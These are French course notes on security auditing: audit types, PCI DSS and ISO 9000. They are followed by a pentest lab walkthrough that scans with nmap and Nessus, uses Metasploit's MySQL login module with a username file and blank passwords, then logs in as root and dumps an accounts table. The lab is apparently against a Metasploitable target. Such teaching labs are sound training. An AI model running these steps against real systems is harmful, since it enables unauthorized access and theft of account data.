Audit et PenTesting
PCI DSS : Certification Paiement électronique
ISO 9000 : Qualité des entreprises
Audit interne = audite de première partie process interne de l’organisation auditée
Audit externe :
• Audit de seconde partie : exemple : client – fournisseur de services (lien entre
l’auditeur et l’audité)
• Audit de tiers partie : aucun lien entre le client et le fournisseur de services (aucun lien
entre l’auditeur et l’audité)
Ligne directrice ➔ recommendation, exigence
Audité : l’entreprise dans laquelle on effectue l’audite
Auditeur : l’entreprise qui réalise l’audite
Les parties impliquées dans l’audite : page 14
Audit combiné :
Audit conjoint :
Problème : récurrence d’un incident
Scan de vulnérabilité sur linux : nessus
Dezipper : dpkg -i Nessus-10.8.3-debian10_amd64.deb
Demarrage : systemctl start nessusd
Lancer sur le navigateur : [Link]
Selectionne la version : essentiel
Login : admin
Password : admin
1. Recuperer l’adresse ip de la machine metasploit : ifconfig
2. Scanner l’adresse ip cible avec nmap -Sv @ip_cible exemple : nmap -sV
[Link]
3. Connectez-vous sur la machine kali pour lancer Matasploit avec msfconsole en tant que
admin
4. Pour avoir des informations sur les services mysql, on tape la commande : search mysql
5. Connecter sur l’auxiliaire correspondant : use numero_auxiliaire/ nom_auxiliaire
exemple : use 28
6. Les optins de l’auxiliaire : show options
7. Connecter sur la cible par set rhosts @ip exemple : set rhosts [Link]
8.
Voir les port ouvert d’une machine : nmap @IP
Voir les port ouvert et version pour chaque service d’une machine : nmap -sV @ip
Pour se connecter a l’interface metasploite : msfconsole
Pour rechercher des informations sur un service : search nom_service
Exemple : search mysql
Pour rechercher la vulnerabilite pour scanner une ligne : use numero_ligne
Exemple : use 28
Pour voir les options sur la ligne 28 : show options
Ouvrir un autre terminal se connecter en tant que route … créer un ficher dans le bureau
Exemple : [Link]
Entrer :admin, root, metasploit, mysql
Appliquer l’attaque : set rhosts @ip_cible
Exemple : set rhosts [Link]
set user_file /home/kali/Desktop/[Link]
exploit
set username root
set blank_passwords true
Aller sur l’autre terminal et taper : mysql -u root -h [Link] --skip-ssl
show databases;
uses owasp10;
show tables;
select *from accounts;
Aller sur la machine Metasploit :
Connecter en tant que root taper : mysql -u root
